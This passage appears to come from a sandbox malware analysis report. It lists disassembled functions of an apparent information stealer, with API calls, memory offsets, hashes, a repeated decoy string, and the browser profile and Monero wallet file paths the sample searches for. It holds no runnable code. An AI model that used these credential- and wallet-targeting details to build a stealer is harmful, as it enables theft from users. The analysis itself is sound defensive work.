The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F462D

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 3a4c12933b40c69ddd2fed5fa4808daf838a191af0e38ed3ff51d69792407d62
Instruction ID: 010210d7e2dd906a345826754f197bc3362053380c8d0fbaf585f7d09ab438e1
Opcode Fuzzy Hash: 3a4c12933b40c69ddd2fed5fa4808daf838a191af0e38ed3ff51d69792407d62
Instruction Fuzzy Hash: 5641F6E17F6644FAC72CB7AC884FEDD76665F86F00F619044A801562C6CAB86588C73A

Function 006FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

FindFirstFileA.KERNEL32(00000000,?,00710B32,00710B2B,00000000,?,?,?,007113F4,00710B2A), ref: 006FBEF5
StrCmpCA.SHLWAPI(?,007113F8), ref: 006FBF4D
StrCmpCA.SHLWAPI(?,007113FC), ref: 006FBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 006FC7BF
FindClose.KERNEL32(000000FF), ref: 006FC7D1

Strings

\Brave\Preferences, xrefs: 006FC1DB
Brave, xrefs: 006FC102
Google Chrome, xrefs: 006FC634
Preferences, xrefs: 006FC11E

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b580b37d42236ea3212d9b7d3ad66e4c96c9f932e509edc635eead1014092630
Instruction ID: e4420b828889f35811c4ae60ca79535e826e1f519adeff927ddc0913387abff2
Opcode Fuzzy Hash: b580b37d42236ea3212d9b7d3ad66e4c96c9f932e509edc635eead1014092630
Instruction Fuzzy Hash: F24218B1910208E7DB54FB70DD5AEED73BDAF94300F408668B506961D1EF38AB49CB92

Function 6C5D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
__aulldiv.LIBCMT ref: 6C5D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D3773
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D377E
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D37C4
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D37CB
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D3801
__aulldiv.LIBCMT ref: 6C5D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5D394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5D35DB
GTC, xrefs: 6C5D3912
GenuntelineI, xrefs: 6C5D3639
AuthcAMDenti, xrefs: 6C5D3946
QPC, xrefs: 6C5D38FC

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction ID: a992858f3ff45ee44ee68d1cdefe4118f3239f8d5353e18b08dbc61611f22fa6
Opcode Fuzzy Hash: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction Fuzzy Hash: 7EB1D771B093009FDB08DF2EC89461A7BF5BB8A700F65892DE499D3790D734A901CB8A

Function 00704910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0070492C
FindFirstFileA.KERNEL32(?,?), ref: 00704943
StrCmpCA.SHLWAPI(?,00710FDC), ref: 00704971
StrCmpCA.SHLWAPI(?,00710FE0), ref: 00704987
FindNextFileA.KERNEL32(000000FF,?), ref: 00704B7D
FindClose.KERNEL32(000000FF), ref: 00704B92

Strings

%s\*, xrefs: 00704920
%s\%s, xrefs: 007049A4
%s\%s, xrefs: 007049FB

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 7cef44fa22b8e7de72d5bb04b547db5eb9a6baf15f07152b3753facc0acbc890
Instruction ID: aece2977a478328b316451d276bd0259d2c8da27ad1b3f04ba9527602446fe1a
Opcode Fuzzy Hash: 7cef44fa22b8e7de72d5bb04b547db5eb9a6baf15f07152b3753facc0acbc890
Instruction Fuzzy Hash: 16615CF1514218EBCB20EBA4DC49FEA73BCBB48701F04469CB64996181EB75DB85CF91

Function 00703EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00703EC3
FindFirstFileA.KERNEL32(?,?), ref: 00703EDA
StrCmpCA.SHLWAPI(?,00710FAC), ref: 00703F08
StrCmpCA.SHLWAPI(?,00710FB0), ref: 00703F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0070406C
FindClose.KERNEL32(000000FF), ref: 00704081

Strings

%s\%s, xrefs: 00703EB7

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 57d4bcf9d73046ee4287c97ea9e5c4f38b70f3d14eceaac31ef8613e317fac89
Instruction ID: 1b19431799afcda63011e8af6eff0bb753f271ef872457e326ced0f93f07d097
Opcode Fuzzy Hash: 57d4bcf9d73046ee4287c97ea9e5c4f38b70f3d14eceaac31ef8613e317fac89
Instruction Fuzzy Hash: E8514AB1914218EBCB24FBB4DC89EEA73BCBB54700F40468CB75996080DB75EB858F95

Function 006FF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007115B8,00710D96), ref: 006FF71E
StrCmpCA.SHLWAPI(?,007115BC), ref: 006FF76F
StrCmpCA.SHLWAPI(?,007115C0), ref: 006FF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 006FFAB1
FindClose.KERNEL32(000000FF), ref: 006FFAC3

Strings

prefs.js, xrefs: 006FF812

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
